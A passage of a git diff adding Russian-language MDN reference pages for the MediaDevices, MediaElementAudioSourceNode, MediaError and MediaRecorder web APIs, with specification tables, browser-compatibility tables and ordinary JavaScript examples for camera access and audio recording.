+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой страницы сгенерирована из структуры данных. Если вы хотите внести свой вклад в данные, пожалуйста, перейдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправте нам запрос.</div>
+
+<p>{{Compat("api.MediaDevices.getUserMedia")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>Предыдущее {{domxref("navigator.getUserMedia()")}}  API.</li>
+ <li>{{domxref("mediaDevices.enumerateDevices()")}}: Перечисление доступных медиа устройств</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API (Media Streams)</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">Screen Capture API</a>: Захват области экрана как {{domxref("MediaStream")}}</li>
+ <li>{{domxref("mediaDevices.getDisplayMedia()")}}: Получение потока, содержащего экранную область</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking webcam photos</a>: Руководство по использованию <code>getUserMedia()</code> для получения снимком вместо видео.</li>
+</ul>
+
+<div id="gtx-trans" style="position: absolute; left: 604px; top: 11916px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/api/mediadevices/index.html b/files/ru/web/api/mediadevices/index.html
new file mode 100644
index 0000000000..3708d64823
--- /dev/null
+++ b/files/ru/web/api/mediadevices/index.html
@@ -0,0 +1,237 @@
+---
+title: MediaDevices
+slug: Web/API/MediaDevices
+tags:
+  - API
+  - Devices
+  - Interface
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaDevices
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - WebRTC
+translation_of: Web/API/MediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">Интерфейс <strong><code>MediaDevices</code></strong> предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера, микрофон, а также к совместному использованию экрана. В сущности, он позволяет получать доступ к любому устройству медиа-данных.</span></p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойство родителя {{domxref("EventTarget")}}.</em></p>
+
+<h3 id="Handlers" name="Handlers">Обработчики событий</h3>
+
+<dl>
+ <dt>{{ domxref("MediaDevices.ondevicechange") }}</dt>
+ <dd>Это обработчик события {{event("devicechange")}}. Это событие доставляется в объек <code>MediaDevices</code> когда медиа-устройство ввода или вывода подключается или отключается на компьютере пользователя.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследуемый метод родителя {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
+ <dd>Регистрирует обработчик событий для определенного типа событий.</dd>
+ <dt>{{ domxref("MediaDevices.enumerateDevices()") }}</dt>
+ <dd>Получает массив информации о медиа-устройстве ввода-вывода.</dd>
+ <dt>{{domxref("MediaDevices.getSupportedConstraints()")}}</dt>
+ <dd>Возвращает объект, соответствующий {{domxref("MediaTrackSupportedConstraints")}}, указывающий, какие ограничительные свойства поддерживаются в интерфейсе {{domxref("MediaStreamTrack")}}. Смотри {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}}, чтобы узнать больше об ограничениях и их использовании.</dd>
+ <dt>{{ domxref("MediaDevices.getUserMedia()") }}</dt>
+ <dd>С разрешения пользователя (у пользователя будет запрошено разрешение) включает камеру, микрофон или общий доступ к экрану и предоставляет {{domxref("MediaStream")}}, содержащий входящую видео- и/или звуковую дорожку. </dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
+ <dd>Удаляет обработчик событий.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">'use strict';
+
+// Помещаем переменные в глобальную область видимости, чтобы сделать их доступными для консоли браузера
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Получил поток с ограничениями:', constraints);
+  console.log('Использую видео-устройство: ' + videoTracks[0].label);
+  stream.onended = function() {
+    console.log('Трансляция закончилась');
+  };
+  window.stream = stream; // Делаем переменную доступной для консоли браузера
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('Разрешение ' + constraints.video.width.exact + 'x' +
+        constraints.video.height.exact + ' px не поддерживается устройством.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Разрешения на использование камеры и микрофона не были предоставлены. ' +
+      'Вам нужно разрешить странице доступ к вашим устройствам,' +
+      ' чтобы демо-версия работала.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '&lt;p&gt;' + msg + '&lt;/p&gt;';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Основная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>enumerateDevices()</code></td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getSupportedConstraints()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ondevicechange</code> and <code>devicechange</code> events</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(51)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("36.0")}}</td>
+   <td>2.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>enumerateDevices()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getSupportedConstraints()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Поддержка события <code>devicechange</code> и {{domxref("MediaDevices.ondevicechange")}} появилась Firefox 51, но <em>только для Mac </em>и по умолчанию отключена. Её можно включить, установив параметру <code>media.ondevicechange.enabled</code> значение ИСТИНА. Для Linux и Windows поддержка добавлена и включена по умолчанию с Firefox 52.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>: API, частью которого является этот интерфейс.</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li>{{domxref("Navigator.mediaDevices")}}: Возвращает ссылку на объект <code>MediaDevices</code>, который можно использовать для доступа к устройствам.</li>
+ <li><a href="https://github.com/chrisjohndigital/CameraCaptureJS">CameraCaptureJS:</a> HTML5 захват и воспроизведение видео с помощью <code>MediaDevices</code> и MediaStream Recording API (<a href="https://github.com/chrisjohndigital/CameraCaptureJS">исходный код на GitHub</a>)</li>
+</ul>
diff --git a/files/ru/web/api/mediaelementaudiosourcenode/index.html b/files/ru/web/api/mediaelementaudiosourcenode/index.html
new file mode 100644
index 0000000000..1566b65859
--- /dev/null
+++ b/files/ru/web/api/mediaelementaudiosourcenode/index.html
@@ -0,0 +1,119 @@
+---
+title: MediaElementAudioSourceNode
+slug: Web/API/MediaElementAudioSourceNode
+translation_of: Web/API/MediaElementAudioSourceNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>Интерфейс <code>MediaElementAudioSourceNode</code> представляет собой аудио узел {{domxref("AudioNode")}}, созданный из HTML5 {{ htmlelement("audio") }} или {{ htmlelement("video") }} элемента. Он является источником звука.</p>
+</div>
+
+<p><code>MediaElementSourceNode</code> не имеет входов, а только один выход, и может быть создан методом {{domxref("AudioContext.createMediaElementSource")}}. Количество каналов в выходном сигнале равно числу каналов аудио, на которое ссылается {{domxref("HTMLMediaElement")}} используемый для создания узла, или 1, если {{domxref("HTMLMediaElement")}} не имеет аудио.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Количество входов</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество выходов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество каналов</th>
+   <td>зависит от содержимого медиа элемента {{domxref("HTMLMediaElement")}}, переданному методу {{domxref("AudioContext.createMediaElementSource")}} при создании узла.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы родителя, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{page("/ru/docs/Web/API/AudioContext.createMediaElementSource","Example")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-mediaelementaudiosourcenode-interface', 'MediaElementAudioSourceNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoMobile(25)}}</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/mediaerror/code/index.html b/files/ru/web/api/mediaerror/code/index.html
new file mode 100644
index 0000000000..a08f5c0752
--- /dev/null
+++ b/files/ru/web/api/mediaerror/code/index.html
@@ -0,0 +1,103 @@
+---
+title: MediaError.code
+slug: Web/API/MediaError/code
+tags:
+  - API
+  - HTML DOM
+  - MediaError
+  - Видео
+  - Код
+  - Медиа
+  - Ошибки
+  - Свойство
+  - Справка
+  - аудио
+translation_of: Web/API/MediaError/code
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Свойство <strong><code>MediaError.code</code></strong> доступно только для чтения, возвращает числовое значение, представляющее тип ошибки, возникшей на элементе носителя. Чтобы получить текстовую строку с конкретной диагностической информацией, см. раздел {{domxref("MediaError.message")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>myError</em> = <em>mediaError</em>.code;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Числовое значение, указывающее общий тип возникшей ошибки. Возможные значения описаны ниже, в разделе {{anch ("Media error code constants")}}.</p>
+
+<h4 id="Константы_кода_ошибки_носителя">Константы кода ошибки носителя</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>MEDIA_ERR_ABORTED</code></td>
+   <td><code>1</code></td>
+   <td>Извлечение связанного ресурса было прервано запросом пользователя.</td>
+  </tr>
+  <tr>
+   <td><code>MEDIA_ERR_NETWORK</code></td>
+   <td><code>2</code></td>
+   <td>Произошла какая-то сетевая ошибка, которая помешала успешному извлечению носителя, несмотря на то, что он был ранее доступен.</td>
+  </tr>
+  <tr>
+   <td><code>MEDIA_ERR_DECODE</code></td>
+   <td><code>3</code></td>
+   <td>
+    <p>Несмотря на то, что ранее ресурс был определен, как используемый, при попытке декодировать медиаресурс произошла ошибка.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>MEDIA_ERR_SRC_NOT_SUPPORTED</code></td>
+   <td><code>4</code></td>
+   <td>
+    <p>Связанный объект ресурса или поставщика мультимедиа (например, {{domxref ("MediaStream")}}) был признан неподходящим.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере создается элемент {{HTMLElement("video")}}, устанавливается обработчик ошибок для него, а затем устанавливается атрибут элемента {{htmlattrxref("src", "video")}} для видеоресурса, который должен присутствовать в элементе. Обработчик ошибок просто выводит сообщение</p>
+
+<pre class="brush: js">var obj = document.createElement('video');
+obj.onerror = function() {console.log("Ошибка с носителями информации: " + obj.error.code);}
+obj.src="https://example.com/blahblah.mp4";
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-mediaerror-code", "MediaError.code")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("api.MediaError.code")}}</p>
+
+<h2 id="See_Also" name="See_Also">Изучите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий его, {{domxref("MediaError")}}.</li>
+</ul>
diff --git a/files/ru/web/api/mediaerror/index.html b/files/ru/web/api/mediaerror/index.html
new file mode 100644
index 0000000000..6cdbd3932b
--- /dev/null
+++ b/files/ru/web/api/mediaerror/index.html
@@ -0,0 +1,64 @@
+---
+title: MediaError
+slug: Web/API/MediaError
+tags:
+  - API
+  - HTML DOM
+  - MediaError
+  - Видео
+  - Интерфейс
+  - Медиа
+  - Ошибки
+  - Справка
+  - аудио
+translation_of: Web/API/MediaError
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary">Интерфейс <code>MediaError </code>представляет собой ошибку, возникшую при обработке мультимедиа в HTML-элементе мультимедиа на основе {{domxref ("HTMLMediaElement")}}, например {{HTMLElement ("audio")}} или {{HTMLElement ("video")}}.</span></p>
+
+<p>Объект <code>MediaError </code>описывает ошибку в общих чертах, используя числовой код, классифицирующий тип ошибки, и сообщение, которое предоставляет конкретную диагностику о том, что пошло не так.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс не наследует никаких свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaError.code")}}</dt>
+ <dd>Число, которое представляет общий тип ошибки, которая произошла, следующим образом: {{page("/ru/docs/Web/API/MediaError/code", "Константы кода ошибки носителя")}}</dd>
+ <dt>{{domxref("MediaError.message")}}</dt>
+ <dd>Объект {{domxref("DOMString")}} содержит читаемую человеком строку, которая предоставляет конкретную диагностическую информацию, чтобы помочь читателю понять возникшее состояние ошибки; в частности, это не просто краткое изложение того, что означает Код ошибки, но фактическая диагностическая информация, помогающая понять, что именно пошло не так. Этот текст и его формат не определяются спецификацией и будут варьироваться от одного {{Glossary("user agent")}} к другому. Если диагностика недоступна или объяснение не может быть предоставлено, это значение является пустой строкой (<code>""</code>).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не реализует и не наследует никаких методов и не имеет своих собственных.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "embedded-content.html#mediaerror", "MediaError")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("api.MediaError")}}</p>
+
+<h2 id="Изучите_также">Изучите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLMediaElement.error")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/index.html b/files/ru/web/api/mediarecorder/index.html
new file mode 100644
index 0000000000..4957359f56
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/index.html
@@ -0,0 +1,185 @@
+---
+title: MediaRecorder
+slug: Web/API/MediaRecorder
+translation_of: Web/API/MediaRecorder
+---
+<p>{{APIRef("Media Recorder API")}}</p>
+
+<p>The <strong><code>MediaRecorder</code></strong> это интерфейс <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a> представляющий функциональность для простой записи медиа. Создается с использованием {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}}</dt>
+ <dd>Создает новый объект <code>MediaRecorder</code>, получающий {{domxref("MediaStream")}} для записи. Доступны такие параметры, как установка типа MIME контейнера (<code>"video/webm","video/mp4"</code> и другие) и скорости передачи аудио-и видеодорожек или одной общей скорости.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("MediaRecorder.mimeType")}} {{readonlyInline}}</dt>
+ <dd>Возвращает тип MIME, который был выбран в качестве контейнера записи для объекта MediaRecorder при его создании. </dd>
+ <dt>{{domxref("MediaRecorder.state")}} {{readonlyInline}}</dt>
+ <dd>Возвращает текущее состояние объекта <code>MediaRecorder </code>(<code>inactive</code>, <code>recording</code>, или <code>paused</code>.)</dd>
+ <dt>{{domxref("MediaRecorder.stream")}} {{readonlyInline}}</dt>
+ <dd>Возвращает поток который был передан конструктору при создании объекта <code>MediaRecorder</code></dd>
+ <dt>{{domxref("MediaRecorder.ignoreMutedMedia")}}</dt>
+ <dd>Показывает записывает ли <code>MediaRecorder </code>дорожку {{domxref("MediaStreamTrack")}} если она отключена. Если аттрибут равен<code> false, </code><code>MediaRecorder</code> будет записывать тишину для аудио и черные кадры для видео. По умолчанию равно <code>false</code></dd>
+ <dt>{{domxref("MediaRecorder.videoBitsPerSecond")}} {{readonlyInline}}</dt>
+ <dd>Возвращает скорость кодирования видео. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).</dd>
+ <dt>{{domxref("MediaRecorder.audioBitsPerSecond;")}} {{readonlyInline}}</dt>
+ <dd>Возвращает скорость кодирования аудио. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("MediaRecorder.canRecordMimeType()", "MediaRecorder.isTypeSupported()")}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} значение показывающее поддерживается ли MIME тип текущим user agent.</dd>
+ <dt>{{domxref("MediaRecorder.pause()")}}</dt>
+ <dd>Приостанавливает запись медиа.</dd>
+ <dt>{{domxref("MediaRecorder.requestData()")}}</dt>
+ <dd>Запрашивает {{domxref("Blob")}} содержащий сохраненные данные полученные  с начала записи (или с последнего вызова <code>requestData()</code>). После вызова этого метода, запись продолжается, но в новый <code>Blob.</code></dd>
+ <dt>{{domxref("MediaRecorder.resume()")}}</dt>
+ <dd>Возобновляет запись медиа после паузы.</dd>
+ <dt>{{domxref("MediaRecorder.start()")}}</dt>
+ <dd>Начинает запись медиа. В этот метод можно передать аргумент <code>timeslice </code>со значением в миллисекундах. Если он определен, то медиа будет записываться в отдельные блоки заданной продолжительности, вместо записи в один большой блок.</dd>
+ <dt>{{domxref("MediaRecorder.stop()")}}</dt>
+ <dd>Останавливает запись, после чего запускается событие {{event("dataavailable")}}, содержащее последний <code>Blob</code> сохраненных данных.</dd>
+</dl>
+
+<h2 id="Обработчики_событий">Обработчики событий</h2>
+
+<dl>
+ <dt>{{domxref("MediaRecorder.ondataavailable")}}</dt>
+ <dd>Вызывает обработчик {{event("dataavailable")}} события, которое запускается раз в <code>timeslice</code> миллисекунд (или, если <code>timeslice</code> не был задан - по окончанию записи). Событие типа {{domxref("BlobEvent")}}, сдержит записанное медиа в {{domxref("BlobEvent.data", "data")}}.  Вы можете использовать обработчик для сбора и других действий в зависимости от полученных данных.</dd>
+ <dt>{{domxref("MediaRecorder.onerror")}}</dt>
+ <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("recordingerror")}}, включающего отчет об ошибках во время записи. Это фатальные ошибки, приводящие к остановке записи. Полученное событие основано на интерфейсе {{domxref("MediaRecorderErrorEvent")}}, свойство которого {{domxref("MediaRecorderErrorEvent.error", "error")}} содержит {{domxref("DOMException")}} описывающие произошедшие ошибки.</dd>
+ <dt>{{domxref("MediaRecorder.onpause")}}</dt>
+ <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("pause")}}, случившегося во время приостановки медиа.</dd>
+ <dt>{{domxref("MediaRecorder.onresume")}}</dt>
+ <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("resume")}}, случившегося во время возбновления записи.</dd>
+ <dt>{{domxref("MediaRecorder.onstart")}}</dt>
+ <dd>{{domxref("EventHandler")}}вызывается для обработки события {{event("start")}}, случившегося во время начала записи.</dd>
+ <dt>{{domxref("MediaRecorder.onstop")}}</dt>
+ <dd>{{domxref("EventHandler")}} вызывается для обработки события {{event("stop")}}, случившегося во время завершения записи, а так же при окончании {{domxref("MediaStream")}} — или после вызова {{domxref("MediaRecorder.stop()")}}</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>navigator.getUserMedia = (navigator.getUserMedia ||
+                          navigator.mozGetUserMedia ||
+                          navigator.msGetUserMedia ||
+                          navigator.webkitGetUserMedia);
+
+
+if (navigator.getUserMedia) {
+  console.log('getUserMedia supported.');
+
+  var constraints = { audio: true };
+  var chunks = [];
+
+  var onSuccess = function(stream) {
+    var mediaRecorder = new MediaRecorder(stream);
+
+    visualize(stream);
+
+    record.onclick = function() {
+      mediaRecorder.start();
+      console.log(mediaRecorder.state);
+      console.log("recorder started");
+      record.style.background = "red";
+      record.style.color = "black";
+    }
+
+    stop.onclick = function() {
+      mediaRecorder.stop();
+      console.log(mediaRecorder.state);
+      console.log("recorder stopped");
+      record.style.background = "";
+      record.style.color = "";
+      // mediaRecorder.requestData();
+    }
+
+    mediaRecorder.onstop = function(e) {
+      console.log("data available after MediaRecorder.stop() called.");
+
+      var clipName = prompt('Enter a name for your sound clip');
+
+      var clipContainer = document.createElement('article');
+      var clipLabel = document.createElement('p');
+      var audio = document.createElement('audio');
+      var deleteButton = document.createElement('button');
+
+      clipContainer.classList.add('clip');
+      audio.setAttribute('controls', '');
+      deleteButton.innerHTML = "Delete";
+      clipLabel.innerHTML = clipName;
+
+      clipContainer.appendChild(audio);
+      clipContainer.appendChild(clipLabel);
+      clipContainer.appendChild(deleteButton);
+      soundClips.appendChild(clipContainer);
+
+      audio.controls = true;
+      var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+      chunks = [];
+      var audioURL = window.URL.createObjectURL(blob);
+      audio.src = audioURL;
+      console.log("recorder stopped");
+
+      deleteButton.onclick = function(e) {
+        evtTgt = e.target;
+        evtTgt.parentNode.parentNode.removeChild(evtTgt.parentNode);
+      }
+    }
+
+    mediaRecorder.ondataavailable = function(e) {
+      chunks.push(e.data);
+    }
+  }
+
+  var onError = function(err) {
+    console.log('The following error occured: ' + err);
+  }
+
+  navigator.getUserMedia(constraints, onSuccess, onError);
+} else {
+   console.log('getUserMedia not supported on your browser!');
+}</pre>
+
+<div class="note">
+<p>Код выше был взят из демо Web Dictaphone. Некоторые строчки были пропущены для краткости. Полный код смотрите <a href="https://github.com/mdn/web-dictaphone/">здесь</a></p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимоть_с_браузерами">Совместимоть с браузерами</h2>
+
+
+
+<p>{{Compat("api.MediaRecorder")}}</p>
+
+<h2 id="Еще_по_теме">Еще по теме</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li>
+ <li><a href="https://mdn.github.io/web-dictaphone/">Web Dictaphone</a>: MediaRecorder + getUserMedia + Web Audio API visualization demo, by <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">source on Github</a>.)</li>
+ <li><a href="https://simpl.info/mediarecorder/">simpl.info MediaStream Recording demo</a>, by <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/mediarecorder/index.html b/files/ru/web/api/mediarecorder/mediarecorder/index.html
new file mode 100644
index 0000000000..eaae4075bc
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/mediarecorder/index.html
@@ -0,0 +1,157 @@
+---
